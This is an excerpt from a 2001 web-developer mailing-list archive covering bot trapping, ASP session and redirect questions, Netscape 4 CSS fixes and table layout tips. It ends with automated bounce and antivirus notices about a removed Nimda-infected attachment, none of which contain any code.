might check ControlPanel/Keyboard/Language and try a different layout, mine defaults to English(US) 101 hope that helps, Bruce g1notami at zoominternet.net From paola at limitless.co.uk Fri Sep 21 18:36:45 2001 From: paola at limitless.co.uk (Paola Kathuria) Date: Fri Sep 21 18:36:45 2001 Subject: [thelist] Another way of trapping bots (was: Congrats to evolt.org....) References: <5.1.0.14.2.20010921132035.01b6c420@baratta.com> <3BABA2B9.2060702@starkmedia.com> Message-ID: <3BABCECE.810A3CD0@limitless.co.uk> I like the idea of setting a trap for robots in robots.txt Here's another way of trapping bots if you want to deny them specific content on a generated site. I have found that agent string isn't reliable to detect many or even most robots because 1) some have been rotating agent strings within a session for years (I started saving examples of these recently and such a visit log is at: http://www.limitless.co.uk/~paola/tmp/log-rotate-agent.txt). And 2) many spiders and bots can be set to supply any agent string (this is also true of Wget) - many pretend to be IE 5+ because of browser-detection on IE 5-specific sites. In my resource the Colour Selector (http://www.limitless.co.uk/colour/), there are 4,500 internal links in just 16 pages because of the clickable colour palettes which can be up to 60k. The web server already sets the session id to "null" if a visitor is recognised as a spider/robot (by means of a file look-up) - this was done because some search engine spiders go beserk when the URL changes for an indexed page and they try to reindex everything again. However, new robots appear daily and so I created a link which only robots would follow - the link is of a 1-pixel transparent gif (with no alt text) and it is to an empty page that just sets a session variable. If the session id is "null" or if the "caught" variable has been set, the clickable palettes with their 4,500 links won't appear in the Colour Selector. The catch link is at the very top and very bottom of pages. Paola From mwarden at mattwarden.com Fri Sep 21 18:40:07 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Fri Sep 21 18:40:07 2001 Subject: [thelist] Another way of trapping bots (was: Congrats to evolt.org....) In-Reply-To: <3BABCECE.810A3CD0@limitless.co.uk> Message-ID: On Sep 22, Paola Kathuria had something to say about [thelist] Another way... >However, new robots appear daily and so I created a link which only >robots would follow - the link is of a 1-pixel transparent gif (with >no alt text) and it is to an empty page that just sets a session >variable. If the session id is "null" or if the "caught" variable has >been set, the clickable palettes with their 4,500 links won't appear >in the Colour Selector. The catch link is at the very top and very >bottom of pages. Sessions rely on cookies, right? How many of these robots accept cookies? thanks, -- mattwarden mattwarden.com From andrew at thepander.co.nz Fri Sep 21 18:48:16 2001 From: andrew at thepander.co.nz (Andrew Forsberg) Date: Fri Sep 21 18:48:16 2001 Subject: [thelist] Another way of trapping bots (was: Congrats to evolt.org....) In-Reply-To: References: Message-ID: > >However, new robots appear daily and so I created a link which only >>robots would follow - the link is of a 1-pixel transparent gif (with >>no alt text) and it is to an empty page that just sets a session >>variable. If the session id is "null" or if the "caught" variable has >>been set, the clickable palettes with their 4,500 links won't appear >>in the Colour Selector. The catch link is at the very top and very >>bottom of pages. > >Sessions rely on cookies, right? How many of these robots accept >cookies? Nice idea! And you could just pass a get variable with the null session id, instead of cookies. -- Andrew Forsberg --- the pander - http://thepander.co.nz/ uberNET - http://uber.net.nz/ From r937 at interlog.com Fri Sep 21 18:57:27 2001 From: r937 at interlog.com (rudy) Date: Fri Sep 21 18:57:27 2001 Subject: [thelist] Help with javascript menu please? Message-ID: <01c142f9$363027a0$d749149a@rudy> > So I could simply paste the basic Navigation in between the > tags and be on my merry way? hi jeana yes, or you could use ordinary html links for the top level of your navigation, so that if the hiermenus are not available, at least the site visitor can navigate to the main section pages e.g. Site Map each top level page would have a hardcoded index of links to second level pages with javascript on, people would typically go to second level pages directly using the hiermenus this way, you don't have to have separate or duplicate navigation code in the noscript tag rudy From paola at limitless.co.uk Fri Sep 21 19:02:41 2001 From: paola at limitless.co.uk (Paola Kathuria) Date: Fri Sep 21 19:02:41 2001 Subject: [thelist] Another way of trapping bots (was: Congrats toevolt.org....) References: Message-ID: <3BABD53B.6DB0EFAE@limitless.co.uk> "Warden, Matt" wrote: > Sessions rely on cookies, right? Not necessarily. The Colour Selector (and other interactive sites on that server) maintains sessions at the server. Even if you don't have a generated site, you can still make use of this kind of trap by extracting accesses to the trap page from your logs to maintain your own list of robots. I mostly use my bot list to grep out spiders/bots from access logs so that I can get an idea of actual interest by humans (I also grep logs for accesses to robots.txt) (although in the past few days, I've seen 20 times more accesses by NT hacking attempts than by humans to some of my sites). Paola, who added "flunky" to the list today From mwarden at mattwarden.com Fri Sep 21 19:07:50 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Fri Sep 21 19:07:50 2001 Subject: [thelist] Another way of trapping bots (was: Congrats toevolt.org....) In-Reply-To: <3BABD53B.6DB0EFAE@limitless.co.uk> Message-ID: On Sep 22, Paola Kathuria had something to say about Re: [thelist] Another... >"Warden, Matt" wrote: >> Sessions rely on cookies, right? > >Not necessarily. > >The Colour Selector (and other interactive sites on that server) >maintains sessions at the server. Um, yeah, most do. But the association between client and session is usually created by placing a sessionid of some sort in a cookie on the client, which relates to certain stored items on the server. -- mattwarden mattwarden.com From nicole at parrot.ca Fri Sep 21 19:07:57 2001 From: nicole at parrot.ca (Nicole Parrot) Date: Fri Sep 21 19:07:57 2001 Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) References: <009d01c142ef$38b83da0$657ba8c0@notami> Message-ID: <01d001c142fa$aebb1d00$41c9ca18@nicole> Windows+F = calls up the Find window. It's still the same keyboard shortcut even though the Find has been renamed to Search in Windows XP. And my fave keyboard shortcut Windows+E = calls up Explorer, which you can use as Windows Explorer and Internet Explorer. And I just discovered Windows+L to log out... One of the good sides of having Internet explorer integrated in the OS is that you can use it to explore both the net and your own system. The same goes for Windows Explorer which by default will give you access to your drive. It will accept a URL in the Address: field. So you can re-use whatever you have that's already running. From don at aspalliance.com Fri Sep 21 22:12:41 2001 From: don at aspalliance.com (Don Makoviney) Date: Fri Sep 21 22:12:41 2001 Subject: [thelist] Another way of trapping bots (was: Congrats toevolt.org....) References: Message-ID: <004501c14313$088e7d00$8155313f@dmak> Is there an article or resources somewhere online for how to trap bots that ignore robots.txt files? If it matters, an NT/2000 based one would be most relevant to me. Thanks, Don Makoviney MAKOVISION.com - Handpicked News For Internet Developers http://www.makovision.com/ FREE Usability/WebDev Newsletter - Twice Weekly http://www.makovision.com/subs/ From djc at starkmedia.com Fri Sep 21 23:10:43 2001 From: djc at starkmedia.com (Daniel J. Cody) Date: Fri Sep 21 23:10:43 2001 Subject: [thelist] Congrats to evolt.org.... References: <5.1.0.14.0.20010921191023.00a1ca20@treevis.com> Message-ID: <3BAC0FEC.9080608@starkmedia.com> hey travis - In my article, I mention how you can use an .htaccess file to acomplish the desired results.. also, check this: http://evolt.org/article/rating/18/15126/index.html#comment15162 and you should have everything you need to get it working with a simple .htaccess file Shout if you have any more questions :) .djc. travis forden wrote: > Hi. > > How does all this work if I am not the server administrator for my site? I use a hosting company with virtual hosting on an apache server on a linux box. Is it a matter of using .htaccess? In the comments of the first article, ironclad suggests using a mod_rewrite and CGI to record the spiderts IP address immediately. If I don't have access to the server's config files, can I still use these techniques? From beau at members.evolt.org Fri Sep 21 23:40:09 2001 From: beau at members.evolt.org (Beau Hartshorne) Date: Fri Sep 21 23:40:09 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <200109211421.f8LELgZe007298@leo.evolt.org> Message-ID: <000e01c14320$b5c02ed0$79334d18@Dell8100> I followed everyone's advice, and reprogrammed the login/authentication script to work with querystrings. I've kept only the username and password in Session variables, because if I leave them in the querystring (even if I hash them) someone else could sit down after them in a shared lab, click the history button, and go back a few steps - voila, back to http://www.foobar.com/protected.asp?USR=username&PWD=hashedpassword. With sessions, users can click on a log out button to destroy their session variables. If I get some time, I'll even work it so that if a user has cookies turned off, instead of being shut out they'll just have to enter their username and password each time they go to some protected page. I'm not quite sold on Server.Transfer VS Response.Redirect. Are there cases where Response.Redirect simply does not work? Thanks again, Beau aardvark wrote: > the reason i remanded the URL variable to the query string and > hidden fields is because it's completely friendly for all > browsers, as > opposed to just cookied or sessioned (making up new words) > browsers... From sfmalo at msn.com Sat Sep 22 03:32:46 2001 From: sfmalo at msn.com (sfmalo) Date: Sat Sep 22 03:32:46 2001 Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS Message-ID: <006301c14340$b9fb32e0$85241b3f@oemcomputer> Hi all - Having problems with NN4.7. Isn't picking up my pseudo-class selector properties of A:link.one, etc. Only shows .A:link, A:visited and A:active stuff (without the bottom border). I know hover doesn't work but nothing under A:active works either! Example: am referencing .A:link.one etc. as follows: <.a class="one" href="http://www.xyz.com" target="_blank">xyz Any ideas as to what I'm doing wrong? Works just great in IE5.5 and N6.1 (ta, da). Thought that NN4.7 would pick these up, but apparently not? .A:link { color: #ff9900; font-weight: 600; background: transparent; text-decoration: none ; } .A:visited { color: #dc143c; background: transparent; text-decoration: none ; border-bottom: 2px dotted #dc143c ; } .A:hover { color: #ff9900; background: transparent; text-decoration: none ; border-bottom: 2px dotted #ff9900 ; } .A:active { color: #dc143c; background: transparent; text-decoration: none ; border-bottom: 2px dotted #dc143c ; } .A:link.one { color: #0000ff; font-weight: 400; background: transparent; text-decoration: underline ; border: none ; } .A:visited.one { color: #dc143c; background: transparent; text-decoration: underline ; border: none ; } .A:hover.one { color: #ff9900; background: transparent; text-decoration: none ; border: none ; } .A:active.one { color: #dc143c; background: transparent; text-decoration: none ; border: none ; } .A:visited.two { color: #fefefe; background: transparent; text-decoration: none ; border-bottom: 2px dotted #fefefe ; } Sharon --------------------------------------------------------------------------- Sharon F. Malone "web design and Internet writing services" http://www.24caratdesign.com From mwarden at mattwarden.com Sat Sep 22 09:14:22 2001 From: mwarden at mattwarden.com (Warden, Matt) Date: Sat Sep 22 09:14:22 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <000e01c14320$b5c02ed0$79334d18@Dell8100> Message-ID: On Sep 21, Beau Hartshorne had something to say about RE: [thelist] ASP,... >I'm not quite sold on Server.Transfer VS Response.Redirect. Are there >cases where Response.Redirect simply does not work? Yes, in older browsers and some robot clients and clients of other sorts like middleware http get/post clients (like certain ASP COM objects, and I assume other language's http interaction methods can at least be configured to not follow redirects). Plus, IMO, sending a "moved temp./perm." header in order to send someone to a *different* page is a hack. Plus, what happens in a client redirect like a 301 or 302 is: 1. Client makes request to server 2. Server responds with a 301/302 status code and usually includes a Location: header where the moved file can be found 3. Client makes *another* request, this time it's the file found in #2's Location: header 4. Server most likely responds with a 200 status and the requested file. And this is what happens in the Server.Transfer method: 1. Client makes request for File A 2. Server executes File A, notices a Server.Transfer to File B, grabs and executes any code in File B, and returns a 200 status code along with File B. So, it's server-client-server-client vs. server-client, the latter which models the intended interaction more closely and certainly cuts down on response time. that help? if you still have questions, shoot. =) -- mattwarden mattwarden.com From jjsteele22 at yahoo.com Sat Sep 22 10:26:13 2001 From: jjsteele22 at yahoo.com (jon steele) Date: Sat Sep 22 10:26:13 2001 Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS In-Reply-To: <006301c14340$b9fb32e0$85241b3f@oemcomputer> Message-ID: <20010922152643.69467.qmail@web13508.mail.yahoo.com> I think the format is: a:link {...} /* for general links */ a:active {...} /* for general links */ etc. a.one:link {...} /* for links with class="one" */ a.one:active {...} /* for links with class="one" */ etc. YOu don't need an '.' before 'a', if you have one, you would be defining a class="a". Also, the ".one" goes before the link. HTH Jon --- sfmalo wrote: > Hi all - > > Having problems with NN4.7. Isn't picking up my pseudo-class selector > properties of A:link.one, etc. Only shows .A:link, A:visited and > A:active > stuff (without the bottom border). I know hover doesn't work but > nothing > under A:active works either! > > Example: am referencing .A:link.one etc. as follows: <.a class="one" > href="http://www.xyz.com" target="_blank">xyz > > Any ideas as to what I'm doing wrong? Works just great in IE5.5 and > N6.1 > (ta, da). Thought that NN4.7 would pick these up, but apparently not? > > .A:link { color: #ff9900; font-weight: 600; background: transparent; > text-decoration: none ; } > .A:visited { color: #dc143c; background: transparent; > text-decoration: none > ; border-bottom: 2px dotted #dc143c ; } > .A:hover { color: #ff9900; background: transparent; text-decoration: > none ; > border-bottom: 2px dotted #ff9900 ; } > .A:active { color: #dc143c; background: transparent; text-decoration: > none ; > border-bottom: 2px dotted #dc143c ; } > .A:link.one { color: #0000ff; font-weight: 400; background: > transparent; > text-decoration: underline ; border: none ; } > .A:visited.one { color: #dc143c; background: transparent; > text-decoration: > underline ; border: none ; } > .A:hover.one { color: #ff9900; background: transparent; > text-decoration: > none ; border: none ; } > .A:active.one { color: #dc143c; background: transparent; > text-decoration: > none ; border: none ; } > .A:visited.two { color: #fefefe; background: transparent; > text-decoration: > none ; border-bottom: 2px dotted #fefefe ; } > > Sharon > --------------------------------------------------------------------------- > Sharon F. Malone > "web design and Internet writing services" > http://www.24caratdesign.com > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com From kerin at airside.co.uk Sat Sep 22 10:47:19 2001 From: kerin at airside.co.uk (// kerin | airside.co.uk) Date: Sat Sep 22 10:47:19 2001 Subject: [thelist] a plea Message-ID: i know this is bad form, but I really need somebody to forward me a mail that was sent to the list yesterday. i downloaded on a different machine, and cant get at it for a couple of days and *really8 need it - and that message hasnt been added into the archive yet... So, if anybody could help it would be *greatly* appreciated. The mail was the only reply to i mail I sent title "MySQl JOINing", containing a SQL query. Thanks! Kerin [if i could think of a tip, I'd put one here] -- From michele at wordpro.on.ca Sat Sep 22 10:57:38 2001 From: michele at wordpro.on.ca (Michele Foster) Date: Sat Sep 22 10:57:38 2001 Subject: [thelist] a plea References: Message-ID: <01c201c1437f$532c3c00$a300a8c0@aci.on.ca> Kerin, Is this the message you are looking for: http://lists.evolt.org/archive/Week-of-Mon-20010917/013551.html ? When you go to thelist archive, you'll see several blank or very small entries at the top. The reason for this is messages that get sent with an incorrect date. The archive gets created by week (date). You need to check the date to get the current week (or look for the larger file sizes). HTH, Michele ----- Original Message ----- From: "// kerin | airside.co.uk" | So, if anybody could help it would be *greatly* appreciated. The mail | was the only reply to i mail I sent title "MySQl JOINing", containing | a SQL query. From kerin at airside.co.uk Sat Sep 22 11:00:09 2001 From: kerin at airside.co.uk (// kerin | airside.co.uk) Date: Sat Sep 22 11:00:09 2001 Subject: [thelist] a plea In-Reply-To: <01c201c1437f$532c3c00$a300a8c0@aci.on.ca> References: <01c201c1437f$532c3c00$a300a8c0@aci.on.ca> Message-ID: Thanks Michele, I've already had a few people mail me offlist with the mail I was looking for. Super-quick too! Thanks, Kerin >Kerin, > >Is this the message you are looking for: >http://lists.evolt.org/archive/Week-of-Mon-20010917/013551.html >? > >When you go to thelist archive, you'll see several blank or very small >entries at the top. The reason for this is messages that get sent with an >incorrect date. The archive gets created by week (date). You need to check >the date to get the current week (or look for the larger file sizes). > >HTH, > >Michele > >----- Original Message ----- >From: "// kerin | airside.co.uk" > > > >| So, if anybody could help it would be *greatly* appreciated. The mail >| was the only reply to i mail I sent title "MySQl JOINing", containing >| a SQL query. > > > >--------------------------------------- >For unsubscribe and other options, including >the Tip Harvester and archive of TheList go to: >http://lists.evolt.org Workers of the Web, evolt ! -- From gnarly at gmx.co.uk Sat Sep 22 11:18:13 2001 From: gnarly at gmx.co.uk (Olly Hodgson) Date: Sat Sep 22 11:18:13 2001 Subject: [thelist] Text at the bottom... Message-ID: <016c01c14382$2a96a610$0100a8c0@uridium> Hi all, Quick question: Are there CSS properties I can set to make a part of the content of a TD appear in the bottom right corner of the cell? Not sure what I mean? Take a look at http://www.gnarly.f2s.com/ You see the yellow "Read More" text in the main table? Is there any way to make that appear in the bottom right corner whilst leaving the rest of the cell as is? Thanks in advance, Cheers, Olly - www.gnarly.f2s.com - From evolt at brasscannon.net Sat Sep 22 11:29:04 2001 From: evolt at brasscannon.net (Kevin Martin) Date: Sat Sep 22 11:29:04 2001 Subject: [thelist] PHP upload files In-Reply-To: <20010922152657.1C72951FD3@relay.evolt.org>; from thelist-admin@lists.evolt.org on Sat, Sep 22, 2001 at 08:26:57AM -0700 References: <20010922152657.1C72951FD3@relay.evolt.org> Message-ID: <20010922123045.A15100@brasscannon.net> John Corry writes: > I'm working on some scripts on my workstation/development machine (IIS 5, > Win 2K, PHP 4.0.5) and can't get my form to accept a file as input. and > I'm trying to allow usrs to upload image files from their client to the site > with an in my form. Been doing pretty much the same thing except with Apache, and found a PHP tutorial at Melonfire that was very helpful. Look under the title "Beam Me Up, Scotty." It actually invokes ftp on the server, so that might be a stumbling block for you, but last night I got it debugged (my PHP file size limit was set too low) and cleanly uploaded a few files over 50MB in size. Now I just have to fix my separate download CGI to recognize files with embedded spaces in their names.... Anyway, good luck! From hblair at hotfootmail.com Sat Sep 22 11:30:00 2001 From: hblair at hotfootmail.com (Hugh Blair) Date: Sat Sep 22 11:30:00 2001 Subject: [thelist] Text at the bottom... In-Reply-To: <016c01c14382$2a96a610$0100a8c0@uridium> Message-ID: From the source: So you could make a class "ReadMore" and then reference it in your page. -Hugh ____________________________ http://www.wholesalenics.net > -----Original Message----- > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Olly Hodgson > Subject: [thelist] Text at the bottom... > > > Hi all, > > Quick question: Are there CSS properties I can set to make a part of the > content of a TD appear in the bottom right corner of the cell? > > Not sure what I mean? Take a look at http://www.gnarly.f2s.com/ > > You see the yellow "Read More" text in the main table? Is there any way to > make that appear in the bottom right corner whilst leaving the rest of the > cell as is? > > Thanks in advance, > Cheers, > > Olly > From gnarly at punkass.com Sat Sep 22 11:36:51 2001 From: gnarly at punkass.com (Olly Hodgson) Date: Sat Sep 22 11:36:51 2001 Subject: [thelist] Text at the bottom... References: Message-ID: <017901c14384$c3a5c690$0100a8c0@uridium> ----- Original Message ----- From: "Hugh Blair" Subject: RE: [thelist] Text at the bottom... > From the source: > > So you could make a class "ReadMore" and then reference it in your page. > > -Hugh Thanks, but I seem to have sorted it myself - just used

    instead iof

    . not sure whay it worked, but it did. Olly - www.gnarly.f2s.com - From mnickel at new.rr.com Sat Sep 22 11:52:31 2001 From: mnickel at new.rr.com (Mark Nickel) Date: Sat Sep 22 11:52:31 2001 Subject: [thelist] Firewalls vs. Web Databases References: <004701c141fe$00861390$0300a8c0@glenn> <3BAA3808.2090608@starkmedia.com> Message-ID: <3BACC31F.CFFA3C1A@new.rr.com> > > > The best for security is definitely everything behind the firewall, or > > at least the firewall being the only connection between the 'net and > > your private network. > > My point is that Joe Cracker would have to a.) get through firewall > rules b.) get through the webserver before c.) he ever found out even > what network the DB server is on. > In addition to layering your defenses, one should also remember to stringently audit the web-based applications that would be running behind the firewall. One can have a locked down network architecture, but forget to audit that webapplication which uses a home-grown CGI processor instead of CGI.pm, in the case of a Perl-based app. Just Don't Do It... Use CGI.pm if you can. If you can't do a search for "Ovid" on http://perlmonks.org. IMHO, it's easy to architect and secure the network but it's easy to become relaxed and forget to secure your applications... mjn From don at aspalliance.com Sat Sep 22 13:10:51 2001 From: don at aspalliance.com (Don Makoviney) Date: Sat Sep 22 13:10:51 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions References: <000e01c14320$b5c02ed0$79334d18@Dell8100> Message-ID: <002701c14390$85e19670$2d3b313f@dmak> Is there a reason why you used Querystrings instead of Form. (i.e. POST instead of GET?)? That way, you don't have to deal with the tremendous overhead of sessions. See this article: Databases and Sessions.... Just Say No! http://www.learnasp.com/learn/nodbsession.asp HTH, Don Makoviney MAKOVISION.com - Handpicked News For Internet Developers http://www.makovision.com/ FREE Usability/WebDev Newsletter - Twice Weekly http://www.makovision.com/subs/ From beau at members.evolt.org Sat Sep 22 14:28:30 2001 From: beau at members.evolt.org (Beau Hartshorne) Date: Sat Sep 22 14:28:30 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <002701c14390$85e19670$2d3b313f@dmak> Message-ID: <001301c1439c$d0e544d0$79334d18@Dell8100> I read the article you referred to. The article was trying to deter programmers from storing recordsets in application and session variables. Thanks to feedback from other list members, I know a little more about some of the bad habits session variables and response.redirects can let you fall into. Here's my refined logic so far (with most of the response.redirects and session variables removed): On every page, there a string is generated like this: <% Dim strCurrentPage,strCurrentQueryString strCurrentPage = "ReferringPage=" & _ Request.ServerVariables("SCRIPT_NAME") strCurrentQueryString = Request.ServerVariables("QUERY_STRING") If strCurrentQueryString <> "" Then strCurrentPage = strCurrentPage & "&" & strCurrentQueryString End If %> This gets passed to the login script like this: Login
    So when a user clicks on that link and goes to the login page, the login page is fed with a querystring. This querystring is immediately stored in a variable that gets used later. Before I spoke with thelist, I had separated the login.asp page and the authentication.asp page -- as I had seen in a book that I just bought. Now, everything is handled on the login.asp page. There are no more response.redirects back and forth, and there are no more session variables that carry errors or strCurrentPage. I've basically cut it down to this: <% Session.Contents("UserName") = strUserName Session.Contents("Password") = strPassword Response.Redirect(strReferringPage) %> So there are two session variables, containing small strings. These are be the only two session variables that will be used throughout the site. Everything else is handled with querystrings, and method="post". If I have time, I will design the sections of the site that require a login to still be functional without cookies -- they will just need to login every time they access a protected page. I am not going to store the username or password in a querystring and pass it around the site. It's not secure, and it's a real headache to code. I think I'll be returning the book to the store. I've found the online resources to be much more useful. Cheers, Beau > Is there a reason why you used Querystrings instead of Form. > (i.e. POST instead of GET?)? > > That way, you don't have to deal with the tremendous overhead > of sessions. > > See this article: > Databases and Sessions.... Just Say No! > http://www.learnasp.com/learn/nodbsession.asp > > HTH, > > Don > Makoviney > MAKOVISION.com - Handpicked News For Internet Developers http://www.makovision.com/ FREE Usability/WebDev Newsletter - Twice Weekly http://www.makovision.com/subs/ --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From wndrlnd at gte.net Sat Sep 22 14:42:31 2001 From: wndrlnd at gte.net (kim greist) Date: Sat Sep 22 14:42:31 2001 Subject: [thelist] Netscape and Windows not cooperating HELP!! In-Reply-To: <20010922152700.1D33051FEF@relay.evolt.org> Message-ID: > This browser is ruining the image layout inside a layer I have absolutely > positioned below the left nav menu > the problem doesnt show up in windows 98 or 95 or 2000 > running ns 4.x.x > > if anyone can give me any insight into what might cause this problem and how > I might tighten up my (d)html Id really appreciate the feedback You can anchor the layer by clipping it to a transparent gif positioned just above it. : ) Kim From sfmalo at msn.com Sat Sep 22 14:42:50 2001 From: sfmalo at msn.com (sfmalo) Date: Sat Sep 22 14:42:50 2001 Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS References: <20010922152643.69467.qmail@web13508.mail.yahoo.com> Message-ID: <005d01c1439e$5da3e380$8d241b3f@oemcomputer> Ahhh, the "one" goes before the link, visited, etc. Thanks, I'll make the changes. Interesting that it already works the way I have it, so N6.1 is much more forgiving than NN4.7. Also FYI, I placed a period before the A's only for purposes of emailing this message so the code would not display as HTML. SOP.(<8 Sharon From: "jon steele" Sent: Saturday, September 22, 2001 8:26 AM > I think the format is: > > a:link {...} /* for general links */ > a:active {...} /* for general links */ > etc. > > a.one:link {...} /* for links with class="one" */ > a.one:active {...} /* for links with class="one" */ > etc. > > YOu don't need an '.' before 'a', if you have one, you would be > defining a class="a". Also, the ".one" goes before the link. > > HTH > > Jon > > --- sfmalo wrote: > > Hi all - > > > > Having problems with NN4.7. Isn't picking up my pseudo-class selector > > properties of A:link.one, etc. Only shows .A:link, A:visited and > > A:active > > stuff (without the bottom border). I know hover doesn't work but > > nothing > > under A:active works either! > > > > Example: am referencing .A:link.one etc. as follows: <.a class="one" > > href="http://www.xyz.com" target="_blank">xyz > > > > Any ideas as to what I'm doing wrong? Works just great in IE5.5 and > > N6.1 > > (ta, da). Thought that NN4.7 would pick these up, but apparently not? > > > > .A:link { color: #ff9900; font-weight: 600; background: transparent; > > text-decoration: none ; } > > .A:visited { color: #dc143c; background: transparent; > > text-decoration: none > > ; border-bottom: 2px dotted #dc143c ; } > > .A:hover { color: #ff9900; background: transparent; text-decoration: > > none ; > > border-bottom: 2px dotted #ff9900 ; } > > .A:active { color: #dc143c; background: transparent; text-decoration: > > none ; > > border-bottom: 2px dotted #dc143c ; } > > .A:link.one { color: #0000ff; font-weight: 400; background: > > transparent; > > text-decoration: underline ; border: none ; } > > .A:visited.one { color: #dc143c; background: transparent; > > text-decoration: > > underline ; border: none ; } > > .A:hover.one { color: #ff9900; background: transparent; > > text-decoration: > > none ; border: none ; } > > .A:active.one { color: #dc143c; background: transparent; > > text-decoration: > > none ; border: none ; } > > .A:visited.two { color: #fefefe; background: transparent; > > text-decoration: > > none ; border-bottom: 2px dotted #fefefe ; } > > > > Sharon --------------------------------------------------------------------------- Sharon F. Malone "web design and Internet writing services" http://www.24caratdesign.com From unuk at runbox.com Sat Sep 22 16:30:27 2001 From: unuk at runbox.com (Mr Dave) Date: Sat Sep 22 16:30:27 2001 Subject: [thelist] Gap below images in tables... Message-ID: <000901c143b0$3e374840$0c41063e@stevens> Can someone please tell me how to get rid of the small gap that appears below an image in a table cell when you close the cell after it... really screws up the design and I know it can be removed but not how! many thanks mr dave http://www.squalidnet.com From nick at infinitevoid.com Sat Sep 22 16:33:15 2001 From: nick at infinitevoid.com (Nick Bourgeois) Date: Sat Sep 22 16:33:15 2001 Subject: [thelist] Gap below images in tables... References: <000901c143b0$3e374840$0c41063e@stevens> Message-ID: <026401c143ae$4a8b7af0$0653fa18@cc71118b> > Can someone please tell me how to get rid of the small gap that appears > below an image in a table cell when you close the cell after it... really > screws up the design and I know it can be removed but not how! Remove all whitepsace before and after the image in the cell. So instead of use Nick Bourgeois nick at infinitevoid.com From unuk at runbox.com Sat Sep 22 16:41:05 2001 From: unuk at runbox.com (Mr Dave) Date: Sat Sep 22 16:41:05 2001 Subject: [thelist] Gap below images in tables... References: <000901c143b0$3e374840$0c41063e@stevens> <026401c143ae$4a8b7af0$0653fa18@cc71118b> Message-ID: <001301c143b1$b8e56bc0$0c41063e@stevens> Worked a treat, many thanks Mr Dave > Remove all whitepsace before and after the image in the cell. > > So instead of > > > > > > use > > > > Nick Bourgeois > nick at infinitevoid.com From navin_dhanuka at yahoo.com Sat Sep 22 21:55:03 2001 From: navin_dhanuka at yahoo.com (Navin Dhanuka) Date: Sat Sep 22 21:55:03 2001 Subject: [thelist] [OT] Future of Dot-Coms, E-commerce, B2b, C2c, b2c, elearning, Asps, Problems, VC, Why dot com busts, Message-ID: <20010923025531.35070.qmail@web14706.mail.yahoo.com> Hello Everyone, This weekend I got a great assignment to do. I have been asked to sumbit a 100 page report on "The Future of the dot-coms" The scope of the topic according to me is as :: @ Intd.. ---Evolution ---The Other Dots.. Dot com is just a extension.. ---Dot COM Hype ---Wrong Evaluation Models (EyeBalls) ---New Evaluation Models ---Post Wall Street Booms - Dot Busts @ Future Business ways... -- ECom -- Entertainment -- b2b, b2c, c2c -- vortal, portal -- Elearning Some case studies. If u feel I should add or delete some topics, please guide.. Also what is b2b, b2c, c2c...., why did it fail as promised.. It wopuld be a gret help if u can guide me to some articles on the topic too. Thanks in advance. Navin Dhanuka NetInfoTech.net __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com From Postmaster at mailhost.iworld.com Sun Sep 23 11:42:17 2001 From: Postmaster at mailhost.iworld.com (Mail Administrator) Date: Sun Sep 23 11:42:17 2001 Subject: [thelist] Mail System Error - Returned Mail Message-ID: <20010923164147.AAH23826@schubert.iworld.com> This Message was undeliverable due to the following reason: A message was not delivered because a loop was found in the Mail eXchanger (MX) record database. The destination host has an MX record that points to this host, but there is no account for the recipient. Here are a few possible solutions for clearing up this problem: - return the mail since the address was invalid - fix the MX records in the DNS for the host in question and then resubmit the message - add an account or alias for the recipient on this machine and then resubmit the message If this machine should be handling all mail for the destination host, it should be added to the list of Local-Mail-Domains in the "System Configuration." Destination host: swynk.com The following recipients did not receive this message: Please reply to Postmaster at schubert.iworld.com if you feel this message to be in error. -------------- next part -------------- An embedded message was scrubbed... From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesnatasha.iworld.com.calvin 05 Date: Tue, 18 Sep 2001 11:53:13 -0400 (EDT) Size: 79247 URL: From Antigen Sun Sep 23 11:47:26 2001 From: Antigen (Antigen) Date: Sun Sep 23 11:47:26 2001 Subject: [thelist] Antigen found =*.exe file Message-ID: Antigen for Exchange found readme.exe matching =*.exe file filter. The file is currently Removed. The message, "[thelist] Mail System Error - Returned Mail", was sent from Mail Administrator and was discovered in SMTP Messages\Inbound located at Namahn/First Administrative Group/DEPP. From CORP_SMTP at BEAEROSPACE.COM Sun Sep 23 11:52:18 2001 From: CORP_SMTP at BEAEROSPACE.COM (CORP_SMTP at BEAEROSPACE.COM) Date: Sun Sep 23 11:52:18 2001 Subject: [thelist] Report to Sender Message-ID: Incident Information:- Database: d:/Lotus/Domino/Data/mail3.box Originator: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesnatasha.iworld.com.calvin 05 Date/Time: 09/23/2001 12:49:13 PM The file attachment readme.exe you sent to the recipients listed above was infected with the W32/Nimda at MM virus and was not successfully cleaned. From hgquinn at attglobal.net Sun Sep 23 12:00:10 2001 From: hgquinn at attglobal.net (H. G. Quinn) Date: Sun Sep 23 12:00:10 2001 Subject: [thelist] [OT] Future of Dot-Coms, E-commerce, B2b, C2c, b2c, elearning, Asps, Problems, VC, Why dot com busts, References: <20010923025531.35070.qmail@web14706.mail.yahoo.com> Message-ID: <3BAE16DC.33C2F6EF@attglobal.net> Re why b2b 